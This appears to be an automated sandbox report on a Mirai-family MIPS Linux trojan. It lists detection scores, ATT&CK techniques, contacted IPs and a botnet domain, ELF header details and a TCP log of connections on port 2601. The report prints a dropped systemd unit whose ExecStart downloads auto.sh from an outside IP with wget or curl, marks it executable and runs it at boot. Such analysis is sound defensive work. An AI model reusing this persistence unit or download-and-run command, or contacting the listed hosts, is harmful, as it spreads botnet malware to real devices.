Source: mips.elf, 5441.1.00007fffd50db000.00007fffd50fc000.rw-.sdmp, mips.elf, 5445.1.00007fffd50db000.00007fffd50fc000.rw-.sdmp, mips.elf, 5451.1.00007fffd50db000.00007fffd50fc000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: mips.elf, 5445.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: !/var/lib/vmwareQ
Source: mips.elf, 5445.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth
Source: mips.elf, 5441.1.00007fffd50db000.00007fffd50fc000.rw-.sdmp, mips.elf, 5445.1.00007fffd50db000.00007fffd50fc000.rw-.sdmp, mips.elf, 5451.1.00007fffd50db000.00007fffd50fc000.rw-.sdmp	Binary or memory string: MPDIR%s/qemu-op

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	1 Systemd Service	1 Systemd Service	1 Hidden Files and Directories	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Scripting	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mips.elf	48%	Virustotal		Browse
mips.elf	53%	ReversingLabs	Linux.Trojan.Mirai
mips.elf	100%	Avira	EXP/ELF.Mirai.W

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tcpdown.su	45.200.149.167	true	false		high
tcpdown.su	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://154.216.20.138/auto.sh;	mips.elf, startup_command.service.13.dr	false		high
http://154.216.20.138/auto.sh	startup_command.service.13.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.94.37.42	unknown	United States	36352	AS-COLOCROSSINGUS	false
45.200.149.95	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
185.125.190.26	unknown	United Kingdom	41231	CANONICAL-ASGB	false
23.94.242.130	unknown	United States	36352	AS-COLOCROSSINGUS	false
45.200.149.167	tcpdown.su	Seychelles	328608	Africa-on-Cloud-ASZA	false
45.200.149.96	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
104.168.33.8	unknown	United States	36352	AS-COLOCROSSINGUS	false
45.200.149.249	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
23.94.37.42	mpsl.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Unknown	Browse
	powerpc.elf	Get hash	malicious	Unknown	Browse
	sparc.elf	Get hash	malicious	Unknown	Browse
	sh4.elf	Get hash	malicious	Unknown	Browse
	powerpc.elf	Get hash	malicious	Unknown	Browse
	sparc.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
45.200.149.95	mpsl.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Unknown	Browse
	powerpc.elf	Get hash	malicious	Unknown	Browse
	sparc.elf	Get hash	malicious	Unknown	Browse
	powerpc.elf	Get hash	malicious	Unknown	Browse
	sparc.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
185.125.190.26	arm7.elf	Get hash	malicious	Mirai	Browse
	m68k.elf	Get hash	malicious	Unknown	Browse
	wev86.elf	Get hash	malicious	Unknown	Browse
	main_mpsl.elf	Get hash	malicious	Mirai	Browse
	main_arm7.elf	Get hash	malicious	Mirai	Browse
	wind.arm5.elf	Get hash	malicious	Mirai	Browse
	wind.mips.elf	Get hash	malicious	Mirai	Browse
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse
	arm7.elf	Get hash	malicious	Mirai	Browse
	arm5.elf	Get hash	malicious	Mirai	Browse
23.94.242.130	mpsl.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Unknown	Browse
	powerpc.elf	Get hash	malicious	Unknown	Browse
	arm.elf	Get hash	malicious	Unknown	Browse
	sparc.elf	Get hash	malicious	Unknown	Browse
	powerpc.elf	Get hash	malicious	Unknown	Browse
	sparc.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tcpdown.su	x86_64.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
tcpdown.su	sparc.elf	Get hash	malicious	Unknown	Browse	45.200.149.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
Africa-on-Cloud-ASZA	mpsl.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	sh4.elf	Get hash	malicious	Unknown	Browse	45.200.149.96
	x86_64.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	powerpc.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	sparc.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	i686.elf	Get hash	malicious	Unknown	Browse	45.200.149.96
	i586.elf	Get hash	malicious	Unknown	Browse	45.200.149.96
	cZO.exe	Get hash	malicious	Unknown	Browse	45.200.148.158
	1.elf	Get hash	malicious	Unknown	Browse	156.228.14.8
	Fantazy.i686.elf	Get hash	malicious	Unknown	Browse	156.228.99.12
CANONICAL-ASGB	woega6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	qbfwdbg.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	main_arm.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	main_m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	main_ppc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	sparc.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm7.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	m68k.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	i686.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	i586.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
AS-COLOCROSSINGUS	mpsl.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	sh4.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	x86_64.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	powerpc.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm.elf	Get hash	malicious	Unknown	Browse	23.94.242.130
	sparc.elf	Get hash	malicious	Unknown	Browse	23.94.242.130
	m68k.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	i686.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	i586.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	momo.mips.elf	Get hash	malicious	Mirai	Browse	23.94.40.4
AS-COLOCROSSINGUS	mpsl.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	sh4.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	x86_64.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	powerpc.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm.elf	Get hash	malicious	Unknown	Browse	23.94.242.130
	sparc.elf	Get hash	malicious	Unknown	Browse	23.94.242.130
	m68k.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	i686.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	i586.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	momo.mips.elf	Get hash	malicious	Mirai	Browse	23.94.40.4

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/etc/systemd/system/startup_command.service

Download File

Process:	/tmp/mips.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	361
Entropy (8bit):	5.16738909970438
Encrypted:	false
SSDEEP:	6:z8jvIERZAMzdK+KOnFfltZCrXbcCmBNcCm4RcCmO/Ls7QkhILQmWA4Rv:z+vIERZAOK+PCrXIpiQuj73GLHWrv
MD5:	AF7D62B73266E0B457B114FE91F7E926
SHA1:	11261AEF4573B56B67B32020049C69C7282FC212
SHA-256:	14CB525E5A6B8AAF20C38672F8A9F974A684990888214848818326A739906642
SHA-512:	3926FBB53496C3AAA34CC782BD5C8379E0AB94B11FE4E63BBBFEAC4E2B5057369C94BBE25AC56C3F04363076C91B978F9199FED97C5ED8377A6DC852B01EBFD9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	[Unit].Description=Startup Command.After=network.target..[Service].ExecStart=cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.20.138/auto.sh \|\| busybox wget http://154.216.20.138/auto.sh \|\| curl -O http://154.216.20.138/auto.sh; chmod 777 auto.sh; ./auto.sh (null).RemainAfterExit=yes..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/tmp/qemu-open.ntKeKC (deleted)

Download File

Process:	/tmp/mips.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:TgaLGn:TgAG
MD5:	640E98E7A87EC50F267F24DBC141D4DD
SHA1:	BC19B1CF25759386125D933665A8B429D9AE7E26
SHA-256:	6976993806B7CE05EA0AAA6BC975462833B19CF0D6DD4C9480F26FBAF66AF31D
SHA-512:	3887FBDFA33FF58EF35DDD9B1A2C9BDD611208904D8D371B2AFFE6E97F4C2EDA7A5BAA9786BDD3857AB6B31FE933CBE7290E7D9223671670A9BC739D457D4BA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/mips.elf.

Static File Info

General

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.372298290304797
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	mips.elf
File size:	106'432 bytes
MD5:	ade42a2e91917e954524de04d1e3d86e
SHA1:	a642bd1688b2758ccfe482fc467d6555f512141f
SHA256:	801c99e4f98a563c705771a06ef9290c3f1b262cec82e521a2f3f39641512e5f
SHA512:	2a4d2b577a6dda726670563dd9c6703579dfa2c9c53b98839d5adf9e0c85a1fbe3334257022f5337ee962d44625c7278af03b0ca704b82afd4fea9be5b588c94
SSDEEP:	1536:zO9Bm/RtCZiqr33Dc48uuwr7CFKygt6c9e8WDC1ieMbFQIg:yBm/zCZiyn448uuPRgt6c9e8YC1GFQP
TLSH:	CDA3B81E3E21CFBDF769873447B78E21A79833D626E1D681E1ACD6011E6024D641FFA8
File Content Preview:	.ELF.....................@.`...4.........4. ...(.............@...@...........................E...E.........<........dt.Q............................<...'......!'.......................<...'......!... ....'9... ......................<...'......!...$....'9e

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	105872
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x16530	0x0	0x6	AX	16
.fini	PROGBITS	0x416650	0x16650	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x4166b0	0x166b0	0x2bf0	0x0	0x2	A	16
.ctors	PROGBITS	0x4592a4	0x192a4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x4592ac	0x192ac	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x4592b8	0x192b8	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x4592c0	0x192c0	0x400	0x0	0x3	WA	16
.got	PROGBITS	0x4596c0	0x196c0	0x66c	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x459d2c	0x19d2c	0x30	0x0	0x10000003	WAp	4
.bss	NOBITS	0x459d60	0x19d2c	0xe780	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0xc72	0x19d2c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x19d2c	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x192a0	0x192a0	5.3874	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x192a4	0x4592a4	0x4592a4	0xa88	0xf23c	3.9941	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 01:23:46.471667051 CET	45526	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:23:46.477741003 CET	2601	45526	45.200.149.95	192.168.2.13
Jan 7, 2025 01:23:46.477893114 CET	45526	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:23:46.480087996 CET	45526	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:23:46.485987902 CET	2601	45526	45.200.149.95	192.168.2.13
Jan 7, 2025 01:23:46.486028910 CET	45526	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:23:46.490959883 CET	2601	45526	45.200.149.95	192.168.2.13
Jan 7, 2025 01:23:47.573261976 CET	2601	45526	45.200.149.95	192.168.2.13
Jan 7, 2025 01:23:47.573369980 CET	45526	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:23:47.574424982 CET	45526	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:23:48.741164923 CET	59516	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:23:48.746021032 CET	2601	59516	45.200.149.167	192.168.2.13
Jan 7, 2025 01:23:48.746076107 CET	59516	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:23:48.747862101 CET	59516	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:23:48.752692938 CET	2601	59516	45.200.149.167	192.168.2.13
Jan 7, 2025 01:23:48.752736092 CET	59516	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:23:48.757543087 CET	2601	59516	45.200.149.167	192.168.2.13
Jan 7, 2025 01:23:49.589485884 CET	2601	59516	45.200.149.167	192.168.2.13
Jan 7, 2025 01:23:49.589565992 CET	59516	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:23:49.589565992 CET	59516	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:23:50.668374062 CET	50380	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:23:50.673238993 CET	2601	50380	104.168.33.8	192.168.2.13
Jan 7, 2025 01:23:50.673373938 CET	50380	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:23:50.674171925 CET	50380	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:23:50.678970098 CET	2601	50380	104.168.33.8	192.168.2.13
Jan 7, 2025 01:23:50.679037094 CET	50380	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:23:50.683878899 CET	2601	50380	104.168.33.8	192.168.2.13
Jan 7, 2025 01:23:52.249265909 CET	2601	50380	104.168.33.8	192.168.2.13
Jan 7, 2025 01:23:52.250183105 CET	50380	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:23:52.250183105 CET	50380	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:23:53.375632048 CET	59520	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:23:53.380892992 CET	2601	59520	45.200.149.167	192.168.2.13
Jan 7, 2025 01:23:53.380961895 CET	59520	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:23:53.381959915 CET	59520	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:23:53.386759043 CET	2601	59520	45.200.149.167	192.168.2.13
Jan 7, 2025 01:23:53.386830091 CET	59520	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:23:53.391633987 CET	2601	59520	45.200.149.167	192.168.2.13
Jan 7, 2025 01:23:54.223557949 CET	2601	59520	45.200.149.167	192.168.2.13
Jan 7, 2025 01:23:54.223634958 CET	59520	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:23:54.223659992 CET	59520	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:23:55.278914928 CET	50384	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:23:55.283780098 CET	2601	50384	104.168.33.8	192.168.2.13
Jan 7, 2025 01:23:55.283824921 CET	50384	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:23:55.284723043 CET	50384	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:23:55.289597988 CET	2601	50384	104.168.33.8	192.168.2.13
Jan 7, 2025 01:23:55.289638042 CET	50384	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:23:55.294486046 CET	2601	50384	104.168.33.8	192.168.2.13
Jan 7, 2025 01:23:55.803745031 CET	2601	50384	104.168.33.8	192.168.2.13
Jan 7, 2025 01:23:55.803802013 CET	50384	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:23:55.803961039 CET	50384	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:23:56.870206118 CET	40144	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:23:56.875047922 CET	2601	40144	45.200.149.249	192.168.2.13
Jan 7, 2025 01:23:56.875116110 CET	40144	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:23:56.875870943 CET	40144	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:23:56.880609035 CET	2601	40144	45.200.149.249	192.168.2.13
Jan 7, 2025 01:23:56.880647898 CET	40144	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:23:56.885499001 CET	2601	40144	45.200.149.249	192.168.2.13
Jan 7, 2025 01:23:56.937359095 CET	48202	443	192.168.2.13	185.125.190.26
Jan 7, 2025 01:23:57.738802910 CET	2601	40144	45.200.149.249	192.168.2.13
Jan 7, 2025 01:23:57.738856077 CET	40144	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:23:57.738903046 CET	40144	2601	192.168.2.13	45.200.149.249
Jan 7, 2025 01:23:58.801043034 CET	37566	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:23:58.805859089 CET	2601	37566	45.200.149.96	192.168.2.13
Jan 7, 2025 01:23:58.805908918 CET	37566	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:23:58.806509972 CET	37566	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:23:58.811342001 CET	2601	37566	45.200.149.96	192.168.2.13
Jan 7, 2025 01:23:58.811386108 CET	37566	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:23:58.816248894 CET	2601	37566	45.200.149.96	192.168.2.13
Jan 7, 2025 01:23:59.670521975 CET	2601	37566	45.200.149.96	192.168.2.13
Jan 7, 2025 01:23:59.670697927 CET	37566	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:23:59.670697927 CET	37566	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:00.739962101 CET	45540	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:00.744832039 CET	2601	45540	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:00.744882107 CET	45540	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:00.745650053 CET	45540	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:00.750452042 CET	2601	45540	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:00.750514030 CET	45540	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:00.755361080 CET	2601	45540	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:01.603432894 CET	2601	45540	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:01.603487968 CET	45540	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:01.603526115 CET	45540	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:02.667745113 CET	45542	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:02.672574997 CET	2601	45542	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:02.672630072 CET	45542	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:02.673327923 CET	45542	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:02.678128004 CET	2601	45542	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:02.678186893 CET	45542	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:02.682986975 CET	2601	45542	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:03.512247086 CET	2601	45542	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:03.512306929 CET	45542	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:03.512346983 CET	45542	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:04.568569899 CET	55124	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:04.573343039 CET	2601	55124	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:04.573394060 CET	55124	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:04.574048042 CET	55124	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:04.578816891 CET	2601	55124	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:04.578862906 CET	55124	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:04.583674908 CET	2601	55124	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:05.227447987 CET	2601	55124	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:05.227500916 CET	55124	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:05.227526903 CET	55124	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:06.286832094 CET	45546	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:06.291666031 CET	2601	45546	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:06.291718960 CET	45546	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:06.292402029 CET	45546	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:06.297209978 CET	2601	45546	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:06.297254086 CET	45546	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:06.302072048 CET	2601	45546	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:07.134471893 CET	2601	45546	45.200.149.95	192.168.2.13
Jan 7, 2025 01:24:07.134524107 CET	45546	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:07.134562969 CET	45546	2601	192.168.2.13	45.200.149.95
Jan 7, 2025 01:24:08.188399076 CET	55128	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:08.193243980 CET	2601	55128	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:08.193309069 CET	55128	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:08.194035053 CET	55128	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:08.198867083 CET	2601	55128	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:08.198914051 CET	55128	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:08.203694105 CET	2601	55128	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:08.847213030 CET	2601	55128	23.94.242.130	192.168.2.13
Jan 7, 2025 01:24:08.847268105 CET	55128	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:08.847305059 CET	55128	2601	192.168.2.13	23.94.242.130
Jan 7, 2025 01:24:09.896013975 CET	50400	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:09.900851965 CET	2601	50400	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:09.900897980 CET	50400	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:09.901576996 CET	50400	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:09.906404972 CET	2601	50400	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:09.906445026 CET	50400	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:09.911216974 CET	2601	50400	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:10.470988035 CET	2601	50400	104.168.33.8	192.168.2.13
Jan 7, 2025 01:24:10.471055984 CET	50400	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:10.471107960 CET	50400	2601	192.168.2.13	104.168.33.8
Jan 7, 2025 01:24:11.546061993 CET	59540	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:11.550844908 CET	2601	59540	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:11.550894022 CET	59540	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:11.551628113 CET	59540	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:11.556377888 CET	2601	59540	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:11.556425095 CET	59540	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:11.561285973 CET	2601	59540	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:12.391434908 CET	2601	59540	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:12.391498089 CET	59540	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:12.391547918 CET	59540	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:13.441207886 CET	59542	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:13.446005106 CET	2601	59542	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:13.446055889 CET	59542	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:13.446875095 CET	59542	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:13.451720953 CET	2601	59542	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:13.451766014 CET	59542	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:13.456512928 CET	2601	59542	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:14.545234919 CET	2601	59542	45.200.149.167	192.168.2.13
Jan 7, 2025 01:24:14.545289993 CET	59542	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:14.545466900 CET	59542	2601	192.168.2.13	45.200.149.167
Jan 7, 2025 01:24:15.594577074 CET	37584	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:15.599400043 CET	2601	37584	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:15.599466085 CET	37584	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:15.600483894 CET	37584	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:15.605262041 CET	2601	37584	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:15.605305910 CET	37584	2601	192.168.2.13	45.200.149.96
Jan 7, 2025 01:24:15.610110044 CET	2601	37584	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:16.469187021 CET	2601	37584	45.200.149.96	192.168.2.13
Jan 7, 2025 01:24:16.469233990 CET	37584	2601	192.168.2.13	45.200.149.96
